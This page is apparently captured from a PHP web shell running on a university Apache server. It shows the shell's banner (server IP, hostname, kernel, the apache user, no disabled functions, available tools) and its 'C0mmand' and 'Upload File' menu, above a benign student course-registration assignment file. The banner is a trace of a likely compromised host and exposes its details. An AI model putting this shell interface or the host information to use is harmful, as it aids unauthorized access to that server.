Server IP : 172.16.15.8 / Your IP : 3.136.22.184 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zvhope/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Assignment 3 Problem 2 Page 2 --> <?php session_start(); ?> <FONT size=4> <center> <H2> Student Registration Website </h2> </center> <HR> <FORM action=Assign32c.php method=post> <?php $name = $_POST['name']; $_SESSION['name'] = $name; $gender = $_POST['gender']; $_SESSION['g1'] = $gender; $grade = $_POST['grade']; $_SESSION['grade'] = $grade; $cs = array("CS 112", "CS 212", "CS 311", "CS 380", "CS 440", "CS 480"); print "Select Computer Science Coureses: <BR>"; for($i=0; $i<count($cs); $i++) { print "<INPUT TYPE=checkbox name= cscourse[] value= $i > $cs[$i]"; print "<BR>"; } print "Select Mathematics courses: <BR>"; $math = array("Math 135", "Math 136", "Math 171", "Math 172", "Math 271"); for($k=0; $k<count($math); $k++) { print "<INPUT TYPE=checkbox name= mathcourse[] value= $k > $math[$k]"; print "<BR>"; } ?> <p> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> </FORM> </FONT>